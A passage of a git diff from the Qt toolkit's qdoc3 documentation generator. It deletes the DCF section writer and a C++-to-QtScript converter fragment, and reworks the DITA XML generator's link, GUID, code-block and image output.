= i; - i++; - while ( i < (int) fmt.length() && - QString("diouxXeEfFgGaAcsCSpn%\"").indexOf(fmt[i]) == -1 ) - i++; - if ( fmt[i] == '%' ) { - result += fmt[i++]; - } else if ( fmt[i] != '"' ) { - if ( percent == 1 ) { - result.truncate( result.length() - 1 ); - } else { - result += "\" + "; - } - i++; - if ( arg1.endsWith(".latin1()") ) - arg1.truncate( arg1.length() - 9 ); - result += arg1; - if ( i == (int) fmt.length() - 1 ) { - i++; - } else { - result += " + \""; - } - } - } else { - result += fmt[i++]; - } - } - result += ";"; - } else if ( coutRegExp.exactMatch(code) && - program.filter("var cout").isEmpty() ) { - QStringList args = coutRegExp.cap(1).split(lshiftRegExp); - args.replaceInStrings( endlRegExp, "\"\\n\"" ); - if ( args.last() == "\"\\n\"" ) { - args.erase( args.end() - 1 ); - if ( args.isEmpty() ) - args << "\"\""; - result += "println "; - } else { - result += "print "; - } - result += args.join( " + " ) + ";"; - } else { - result = convertExpr( qsTree, code, classesWithNoQ ); - } - return result; -} - -QString CppToQsConverter::convertComment( Tree * /* qsTree */, - const QString& comment, - const QSet<QString>& classesWithNoQ ) - -{ - QString result = comment; - - result.replace( "TRUE", "true" ); - result.replace( "FALSE", "false" ); - result.replace( addressOperatorRegExp, "\\1\\2" ); - result.replace( gulbrandsenRegExp, "." ); - - int i = 0; - while ( (i = result.indexOf(qClassRegExp, i)) != -1 ) { - if ( classesWithNoQ.contains(qClassRegExp.cap(1)) ) - result.remove( i, 1 ); - i++; - } - return result; -} - -QString CppToQsConverter::convertExpr( Tree *qsTree, const QString& expr, - const QSet<QString>& classesWithNoQ ) -{ - // suboptimal - return convertComment( qsTree, expr, classesWithNoQ ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/dcfsection.cpp b/tools/qdoc3/dcfsection.cpp deleted file mode 100644 index ea6df58..0000000 --- a/tools/qdoc3/dcfsection.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include <qfile.h> -#include <qfileinfo.h> -#include <qtextstream.h> - -#include "dcfsection.h" -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -void appendDcfSubSection( DcfSection *dcfSect, const DcfSection& sub ) -{ - dcfSect->subsections.append( sub ); -} - -void appendDcfSubSections( DcfSection *dcfSect, const QList<DcfSection>& subs ) -{ - dcfSect->subsections += subs; -} - -void generateDcfSubSections( QString indent, QTextStream& out, const DcfSection& sect ) -{ - QList<DcfSection>::const_iterator ss = sect.subsections.constBegin(); - while ( ss != sect.subsections.constEnd() ) { - out << indent << "<section ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect((*ss).ref)) - << "\" title=\"" << HtmlGenerator::protect((*ss).title) << "\""; - if ((*ss).keywords.isEmpty() && (*ss).subsections.isEmpty()) { - out << "/>\n"; - } else { - out << ">\n"; - QString indentIndent = indent + " "; - QList<QPair<QString, QString> >::const_iterator k = (*ss).keywords.constBegin(); - while ( k != (*ss).keywords.constEnd() ) { - out << indentIndent << "<keyword ref=\"" << HtmlGenerator::cleanRef((*k).second) << "\">" - << HtmlGenerator::protect((*k).first) << "</keyword>\n"; - ++k; - } - - generateDcfSubSections( indentIndent, out, *ss ); - out << indent << "</section>\n"; - } - ++ss; - } - out.flush(); -} - -void generateDcfSections( const DcfSection& rootSect, const QString& fileName, - const QString& /* category */ ) -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QTextStream out(&file); - - QString icon = QFileInfo(fileName).baseName() + ".png"; - - out << "<!DOCTYPE DCF>\n"; - out << "<DCF ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect(rootSect.ref)); - if (icon != "qmake.png") - out << "\" icon=\"" << HtmlGenerator::protect(icon); - out << "\" imagedir=\"../../gif\" title=\"" << HtmlGenerator::protect(rootSect.title) + - "\">\n"; - - generateDcfSubSections( "", out, rootSect ); - - out << "</DCF>\n"; - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/dcfsection.h b/tools/qdoc3/dcfsection.h deleted file mode 100644 index b11e874..0000000 --- a/tools/qdoc3/dcfsection.h +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef DCFSECTION_H -#define DCFSECTION_H - -#include <qlist.h> -#include <qpair.h> -#include <qstring.h> - -QT_BEGIN_NAMESPACE - -class QTextStream; - -struct DcfSection -{ - QString title; - QString ref; - QList<QPair<QString, QString> > keywords; - QList<DcfSection> subsections; -}; - -inline bool operator<( const DcfSection& s1, const DcfSection& s2 ) { - QString title1 = s1.title; - QString title2 = s2.title; - - // cheat with Q3 classes - if (title1.startsWith("Q3")) - title1.insert(1, '~'); - if (title2.startsWith("Q3")) - title2.insert(1, '~'); - - int delta = title1.toLower().compare( title2.toLower() ); - if ( delta == 0 ) { - delta = title1.compare( title2 ); - if ( delta == 0 ) - delta = s1.ref.localeAwareCompare( s2.ref ); - } - return delta < 0; -} - -inline bool operator>( const DcfSection& s1, const DcfSection& s2 ) { return s2 < s1; } -inline bool operator<=( const DcfSection& s1, const DcfSection& s2 ) { return !( s2 < s1 ); } -inline bool operator>=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 < s2 ); } -inline bool operator==( const DcfSection& s1, const DcfSection& s2 ) { return &s1 == &s2; } -inline bool operator!=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 == s2 ); } - -void appendDcfSubSection(DcfSection *dcfSect, const DcfSection &sub); -void appendDcfSubSections(DcfSection *dcfSect, const QList<DcfSection> &subs); -void generateDcfSubSections(QString indent, QTextStream &out, const DcfSection §); -void generateDcfSections(const DcfSection &rootSect, const QString& fileName, - const QString& category ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 84e8afd..e180c0a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1,4 +1,3 @@ - /**************************************************************************** ** ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). @@ -48,6 +47,7 @@ #include "codeparser.h" #include "ditaxmlgenerator.h" #include "node.h" +#include "quoter.h" #include "separator.h" #include "tree.h" #include <ctype.h> @@ -61,6 +61,10 @@ QT_BEGIN_NAMESPACE #define COMMAND_VERSION Doc::alias("version") int DitaXmlGenerator::id = 0; +bool DitaXmlGenerator::inApiDesc = false; +bool DitaXmlGenerator::inSection = false; +bool DitaXmlGenerator::inDetailedDescription = false; +bool DitaXmlGenerator::inLegaleseText = false; #define cxxapi_d_xref Doc::alias("cxxapi-d-xref") #define cxxclass Doc::alias("cxxclass") @@ -282,59 +286,6 @@ int DitaXmlGenerator::id = 0; #define CXXVARIABLESTORAGECLASSSPECIFIERSTATIC Doc::alias("cxxVariableStorageClassSpecifierStatic") #define CXXVARIABLEVOLATILE Doc::alias("cxxVariableVolatile") -#define APIREF Doc::alias("apiRef") -#define APINAME Doc::alias("apiName") -#define APIDETAIL Doc::alias("apiDetail") -#define APISYNTAX Doc::alias("apiSyntax") -#define APISYNTAXTEXT Doc::alias("apiSyntaxText") -#define APISYNTAXITEM Doc::alias("apiSyntaxItem") -#define APIDEF Doc::alias("apiDef") -#define APIQUALIFIER Doc::alias("apiQualifier") -#define APIRELATION Doc::alias("apiRelation") -#define APITYPE Doc::alias("apiType") -#define APIARRAY Doc::alias("apiArray") -#define APIDATA Doc::alias("apiData") -#define APIDEFNOTE Doc::alias("apiDefNote") -#define APIDEFITEM Doc::alias("apiDefItem") -#define APIITEMNAME Doc::alias("apiItemName") -#define APIDESC Doc::alias("apiDesc") -#define APIIMPL Doc::alias("apiImpl") - -#define APIPACKAGE Doc::alias("apiPackage") - -#define APICLASSIFIER Doc::alias("apiClassifier") -#define APICLASSIFIERDETAIL Doc::alias("apiClassifierDetail") -#define APICLASSIFIERDEF Doc::alias("apiClassifierDef") -#define APICLASSIFIERMEMBER Doc::alias("apiClassifierMember") -#define APIOTHERCLASSIFIER Doc::alias("apiOtherClassifier") -#define APIBASECLASSIFIER Doc::alias("apiBaseClassifier") - -#define APIOPERATION Doc::alias("apiOperation") -#define APIOPERATIONDETAIL Doc::alias("apiOperationDetail") -#define APIOPERATIONDEF Doc::alias("apiOperationDef") -#define APIRETURN Doc::alias("apiReturn") -#define APIPARAM Doc::alias("apiParam") -#define APIEVENT Doc::alias("apiEvent") -#define APIOPERATIONDEFITEM Doc::alias("apiOperationDefItem") -#define APIOPERATIONCLASSIFIER Doc::alias("apiOperationClassifier") -#define APICONSTRUCTORDEF Doc::alias("apiConstructorDef") - -#define APIVALUE Doc::alias("apiValue") -#define APIVALUEDETAIL Doc::alias("apiValueDetail") -#define APIVALUEDEF Doc::alias("apiValueDef") -#define APIVALUEMEMBER Doc::alias("apiValueMember") -#define APIVALUECLASSIFIER Doc::alias("apiValueClassifier") - -#define APIclassifier Doc::alias("apiclassifier") -#define APIoperation Doc::alias("apioperation") -#define APIpackage Doc::alias("apipackage") -#define APIvalue Doc::alias("apivalue") - -#define APIMAP Doc::alias("apiMap") -#define APIITEMREF Doc::alias("apiItemRef") - -#define SHORTDESC Doc::alias("shortdesc") - QString DitaXmlGenerator::sinceTitles[] = { " New Namespaces", @@ -356,44 +307,75 @@ QString DitaXmlGenerator::sinceTitles[] = static bool showBrokenLinks = false; -static void addLink(const QString &linkTarget, - const QStringRef &nestedStuff, - QString *res) +/*! + Quick, dirty, and very ugly. Unescape \a text + so QXmlStreamWriter::writeCharacters() can put + the escapes back in again! + */ +void DitaXmlGenerator::writeCharacters(const QString& text) +{ + QString t = text; + t = t.replace("<","<"); + t = t.replace(">",">"); + t = t.replace("&","&"); + t = t.replace(""","\""); + xmlWriter().writeCharacters(t); +} + +/*! + Appends an <xref> element to the current XML stream + with the \a href attribute and the \a text. + */ +void DitaXmlGenerator::addLink(const QString& href, + const QStringRef& text) { - if (!linkTarget.isEmpty()) { - *res += "<xref href=\""; - *res += linkTarget; - *res += "\">"; - *res += nestedStuff; - *res += "</xref>"; + if (!href.isEmpty()) { + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href", href); + writeCharacters(text.toString()); + xmlWriter().writeEndElement(); // </xref> } else { - *res += nestedStuff; + writeCharacters(text.toString()); } } - +/*! + The default constructor. + */ DitaXmlGenerator::DitaXmlGenerator() : inLink(false), inContents(false), inSectionHeading(false), inTableHeader(false), + inTableBody(false), numTableRows(0), threeColumnEnumValueTable(true), offlineDocs(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false), - noLinks(0) + noLinks(false), + tableColumnCount(0) { + // nothing yet. } +/*! + The destructor has nothing to do. + */ DitaXmlGenerator::~DitaXmlGenerator() { - // nothing yet. + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + delete i.value(); + ++i; + } } +/*! + A lot of internal structures are initialized. + */ void DitaXmlGenerator::initializeGenerator(const Config &config) { static const struct { @@ -478,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - stylesheets = config.getStringList(DitaXmlGenerator::format() + Config::dot + DITAXMLGENERATOR_STYLESHEETS); @@ -490,11 +470,17 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) } +/*! + All this does is call the same function in the base class. + */ void DitaXmlGenerator::terminateGenerator() { Generator::terminateGenerator(); } +/*! + Returns "DITAXML". + */ QString DitaXmlGenerator::format() { return "DITAXML"; @@ -506,11 +492,22 @@ QString DitaXmlGenerator::format() */ QString DitaXmlGenerator::writeGuidAttribute(QString text) { - QString guid = lookupGuid(text); - writer.writeAttribute("id",guid); + QString guid = lookupGuid(outFileName(),text); + xmlWriter().writeAttribute("id",guid); return guid; } + +/*! + Write's the GUID for the \a node to the current XML stream + as an "id" attribute. If the \a node doesn't yet have a GUID, + one is generated. + */ +void DitaXmlGenerator::writeGuidAttribute(Node* node) +{ + xmlWriter().writeAttribute("id",node->guid()); +} + /*! Looks up \a text in the GUID map. If it finds \a text, it returns the associated GUID. Otherwise it inserts @@ -522,17 +519,54 @@ QString DitaXmlGenerator::lookupGuid(QString text) QMap<QString, QString>::const_iterator i = name2guidMap.find(text); if (i != name2guidMap.end()) return i.value(); - QString guid = QUuid::createUuid().toString(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); name2guidMap.insert(text,guid); return guid; } /*! + First, look up the GUID map for \a fileName. If there isn't + a GUID map for \a fileName, create one and insert it into + the map of GUID maps. Then look up \a text in that GUID map. + If \a text is found, return the associated GUID. Otherwise, + insert \a text into the GUID map with a new GUID, and return + the new GUID. + */ +QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& text) +{ + GuidMap* gm = lookupGuidMap(fileName); + GuidMap::const_iterator i = gm->find(text); + if (i != gm->end()) + return i.value(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); + gm->insert(text,guid); + return guid; +} + +/*! + Looks up \a fileName in the map of GUID maps. If it finds + \a fileName, it returns a pointer to the associated GUID + map. Otherwise it creates a new GUID map and inserts it + into the map of GUID maps with \a fileName as its key. + */ +GuidMap* DitaXmlGenerator::lookupGuidMap(const QString& fileName) +{ + GuidMaps::const_iterator i = guidMaps.find(fileName); + if (i != guidMaps.end()) + return i.value(); + GuidMap* gm = new GuidMap; + guidMaps.insert(fileName,gm); + return gm; +} + +/*! This is where the DITA XML files are written. \note The file generation is done in the base class, PageGenerator::generateTree(). */ -void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void DitaXmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -551,7 +585,8 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); + writeDitaMap(); } void DitaXmlGenerator::startText(const Node* /* relative */, @@ -567,6 +602,33 @@ void DitaXmlGenerator::startText(const Node* /* relative */, sectionNumber.clear(); } +static int countTableColumns(const Atom* t) +{ + int result = 0; + if (t->type() == Atom::TableHeaderLeft) { + while (t->type() == Atom::TableHeaderLeft) { + int count = 0; + t = t->next(); + while (t->type() != Atom::TableHeaderRight) { + if (t->type() == Atom::TableItemLeft) + ++count; + t = t->next(); + } + if (count > result) + result = count; + t = t->next(); + } + } + else if (t->type() == Atom::TableRowLeft) { + while (t->type() != Atom::TableRowRight) { + if (t->type() == Atom::TableItemLeft) + ++result; + t = t->next(); + } + } + return result; +} + /*! Generate html from an instance of Atom. */ @@ -575,43 +637,57 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, CodeMarker *marker) { int skipAhead = 0; - QString hx; + QString hx, str; static bool in_para = false; - QString guid; - + QString guid, hc; + switch (atom->type()) { case Atom::AbstractLeft: break; case Atom::AbstractRight: break; case Atom::AutoLink: - if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) { - const Node *node = 0; + if (!noLinks && !inLink && !inContents && !inSectionHeading) { + const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { - beginLink(link, node, relative, marker); + beginLink(link); generateLink(atom, relative, marker); endLink(); } else { - writer.writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } } else { - writer.writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::BaseName: break; case Atom::BriefLeft: - if (relative->type() == Node::Fake) { - skipAhead = skipAtoms(atom, Atom::BriefRight); - break; + //if (relative->type() == Node::Fake) { + //skipAhead = skipAtoms(atom, Atom::BriefRight); + //break; + //} + if (inApiDesc || inSection) { + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","brief"); + } + else { + noLinks = true; + xmlWriter().writeStartElement("shortdesc"); } - writer.writeStartElement(SHORTDESC); if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; + xmlWriter().writeCharacters("This "); + if (relative->type() == Node::Property) + xmlWriter().writeCharacters("property"); + else if (relative->type() == Node::Variable) + xmlWriter().writeCharacters("variable"); + xmlWriter().writeCharacters(" holds "); + } + if (noLinks) { atom = atom->next(); while (atom != 0 && atom->type() != Atom::BriefRight) { if (atom->type() == Atom::String || @@ -623,102 +699,89 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, str[0] = str[0].toLower(); if (str.right(1) == ".") str.truncate(str.length() - 1); - writer.writeCharacters("This "); - if (relative->type() == Node::Property) - writer.writeCharacters("property"); - else - writer.writeCharacters("variable"); - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); - else - writer.writeCharacters(" "); - writer.writeCharacters(str + "."); + writeCharacters(str + "."); } break; case Atom::BriefRight: - if (relative->type() != Node::Fake) { - writer.writeEndElement(); // </shortdesc> - } + // if (relative->type() != Node::Fake) + xmlWriter().writeEndElement(); // </shortdesc> or </p> + noLinks = false; break; case Atom::C: - writer.writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); + xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); if (inLink) { - writer.writeCharacters(protectEnc(plainCode(atom->string()))); + writeCharacters(protectEnc(plainCode(atom->string()))); } else { - writer.writeCharacters(highlightedCode(atom->string(), marker, relative)); + writeText(atom->string(), marker, relative); } - writer.writeEndElement(); // sse writeStartElement() above + xmlWriter().writeEndElement(); // sse writeStartElement() above break; case Atom::Code: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); - writer.writeEndElement(); // </pre> + { + xmlWriter().writeStartElement("codeblock"); + QString chars = trimmedTrailing(atom->string()); + writeText(chars, marker, relative); + xmlWriter().writeEndElement(); // </codeblock> + } break; -#ifdef QDOC_QML case Atom::Qml: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); - writer.writeEndElement(); // pre + xmlWriter().writeStartElement("codeblock"); + writeText(trimmedTrailing(atom->string()), marker, relative); + xmlWriter().writeEndElement(); // </codeblock> break; -#endif case Atom::CodeNew: - writer.writeStartElement("p"); - writer.writeCharacters("you can rewrite it as"); - writer.writeEndElement(); // </p> - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), - marker, - relative))); - writer.writeEndElement(); // </pre> + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("you can rewrite it as"); + xmlWriter().writeEndElement(); // </p> + xmlWriter().writeStartElement("codeblock"); + writeText(trimmedTrailing(atom->string()), marker, relative); + xmlWriter().writeEndElement(); // </codeblock> break; case Atom::CodeOld: - writer.writeStartElement("p"); - writer.writeCharacters("For example, if you have code like"); - writer.writeEndElement(); // </p> + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("For example, if you have code like"); + xmlWriter().writeEndElement(); // </p> // fallthrough case Atom::CodeBad: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedCode"); - writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))); - writer.writeEndElement(); // </pre> + xmlWriter().writeStartElement("codeblock"); + writeCharacters(trimmedTrailing(plainCode(atom->string()))); + xmlWriter().writeEndElement(); // </codeblock> break; + case Atom::Div: + xmlWriter().writeStartElement("bodydiv"); + if (!atom->string().isEmpty()) + xmlWriter().writeAttribute("outputclass", atom->string()); + break; + case Atom::EndDiv: + xmlWriter().writeEndElement(); // </bodydiv> + break; case Atom::FootnoteLeft: // ### For now if (in_para) { - writer.writeEndElement(); // </p> + xmlWriter().writeEndElement(); // </p> in_para = false; } - writer.writeCharacters("<!-- "); + xmlWriter().writeCharacters("<!-- "); break; case Atom::FootnoteRight: // ### For now - writer.writeCharacters("-->"); + xmlWriter().writeCharacters("-->"); break; case Atom::FormatElse: case Atom::FormatEndif: case Atom::FormatIf: break; case Atom::FormattingLeft: - writer.writeStartElement(formattingLeftMap()[atom->string()]); + xmlWriter().writeStartElement(formattingLeftMap()[atom->string()]); if (atom->string() == ATOM_FORMATTING_PARAMETER) { if (atom->next() != 0 && atom->next()->type() == Atom::String) { QRegExp subscriptRegExp("([a-z]+)_([0-9n])"); if (subscriptRegExp.exactMatch(atom->next()->string())) { - writer.writeCharacters(subscriptRegExp.cap(1)); - writer.writeStartElement("sub"); - writer.writeCharacters(subscriptRegExp.cap(2)); - writer.writeEndElement(); // </sub> + xmlWriter().writeCharacters(subscriptRegExp.cap(1)); + xmlWriter().writeStartElement("sub"); + xmlWriter().writeCharacters(subscriptRegExp.cap(2)); + xmlWriter().writeEndElement(); // </sub> skipAhead = 1; } } @@ -729,7 +792,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - writer.writeEndElement(); // ? + xmlWriter().writeEndElement(); // ? } break; case Atom::AnnotatedList: @@ -835,19 +898,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateAnnotatedList(fake, marker, groupMembersMap); } } - else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast<const FakeNode *>(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList<const Node *> list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker); - } - } break; case Atom::SinceList: { @@ -931,31 +981,26 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, /* First generate the table of contents. */ - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - - writer.writeStartElement("li"); - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#" + Doc::canonicalTitle((*s).name))); - writer.writeCharacters((*s).name); - writer.writeEndElement(); // </xref> - writer.writeEndElement(); // </li> + QString li = outFileName() + "#" + Doc::canonicalTitle((*s).name); + writeXrefListItem(li, (*s).name); } ++s; } - writer.writeEndElement(); // </ul> + xmlWriter().writeEndElement(); // </ul> int idx = 0; s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle((*s).name)); - writer.writeAttribute("outputclass","h3"); - writer.writeCharacters(protectEnc((*s).name)); - writer.writeEndElement(); // </p> + xmlWriter().writeAttribute("outputclass","h3"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </p> if (idx == Class) generateCompactList(0, marker, ncmap.value(), false, QString("Q")); else if (idx == QmlClass) @@ -975,23 +1020,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, pmap = parentmaps.begin(); while (pmap != parentmaps.end()) { NodeList nlist = pmap->values(); - writer.writeStartElement("p"); - writer.writeCharacters("Class "); - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(pmap.key(), 0)); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Class "); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0)); QStringList pieces = fullName(pmap.key(), 0, marker).split("::"); - writer.writeCharacters(protectEnc(pieces.last())); - writer.writeEndElement(); // </xref> - writer.writeCharacters(":"); - writer.writeEndElement(); // </p> + writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeCharacters(":"); + xmlWriter().writeEndElement(); // </p> generateSection(nlist, 0, marker, CodeMarker::Summary); - writer.writeEmptyElement("br"); ++pmap; } } - else + else { generateSection(s->members, 0, marker, CodeMarker::Summary); + } } ++idx; ++s; @@ -1006,120 +1051,139 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString text; if (atom->next() != 0) text = atom->next()->string(); - if (atom->type() == Atom::Image) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign"); - } if (fileName.isEmpty()) { - writer.writeStartElement("font"); - writer.writeAttribute("color","red"); - writer.writeCharacters("[Missing image: "); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // </font> + /* + Don't bother outputting an error message. + Just output the href as if the image is in + the images directory... + */ + fileName = QLatin1String("images/") + protectEnc(atom->string()); } + + xmlWriter().writeStartElement("fig"); + xmlWriter().writeStartElement("image"); + xmlWriter().writeAttribute("href",protectEnc(fileName)); + if (atom->type() == Atom::InlineImage) + xmlWriter().writeAttribute("placement","inline"); else { - writer.writeStartElement("img"); - writer.writeAttribute("src",protectEnc(fileName)); - if (!text.isEmpty()) - writer.writeAttribute("alt",protectEnc(text)); - writer.writeEndElement(); // </img> + xmlWriter().writeAttribute("placement","break"); + xmlWriter().writeAttribute("align","center"); + } + if (!text.isEmpty()) { + xmlWriter().writeStartElement("alt"); + writeCharacters(protectEnc(text)); + xmlWriter().writeEndElement(); // </alt> } - if (atom->type() == Atom::Image) - writer.writeEndElement(); // </p> + xmlWriter().writeEndElement(); // </image> + xmlWriter().writeEndElement(); // </fig> } break; case Atom::ImageText: // nothing break; case Atom::LegaleseLeft: - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","legalese"); + inLegaleseText = true; break; case Atom::LegaleseRight: - writer.writeEndElement(); // </p> + inLegaleseText = false; break; case Atom::LineBreak: - writer.writeEmptyElement("br"); + //xmlWriter().writeEmptyElement("br"); break; case Atom::Link: { const Node *node = 0; QString myLink = getLink(atom, relative, marker, &node); if (myLink.isEmpty()) { - relative->doc().location().warning(tr("Cannot link to '%1' in %2") + relative->doc().location().warning(tr("Can't link to '%1' in %2") .arg(atom->string()) .arg(marker->plainFullName(relative))); } - beginLink(myLink, node, relative, marker); + else if (!inSectionHeading) { + beginLink(myLink); + } +#if 0 + else { + //xmlWriter().writeCharacters(atom->string()); + //qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); + } +#endif + skipAhead = 1; + } + break; + case Atom::GuidLink: + { +#if 0 + qDebug() << "GUID LINK:" << atom->string() << outFileName(); +#endif + beginLink(atom->string()); skipAhead = 1; } break; case Atom::LinkNode: { - const Node *node = CodeMarker::nodeForString(atom->string()); - beginLink(linkForNode(node, relative), node, relative, marker); + const Node* node = CodeMarker::nodeForString(atom->string()); + beginLink(linkForNode(node, relative)); skipAhead = 1; } break; case Atom::ListLeft: if (in_para) { - writer.writeEndElement(); // </p> + xmlWriter().writeEndElement(); // </p> in_para = false; } if (atom->string() == ATOM_LIST_BULLET) { - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dl"); + xmlWriter().writeStartElement("dl"); } else if (atom->string() == ATOM_LIST_VALUE) { threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom); if (threeColumnEnumValueTable) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("tr"); - if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd"); - else - writer.writeAttribute("outputclass","even"); - writer.writeStartElement("th"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // </th> - writer.writeStartElement("th"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // </th> - writer.writeStartElement("th"); - writer.writeCharacters("Description"); - writer.writeEndElement(); // </th> - writer.writeEndElement(); // 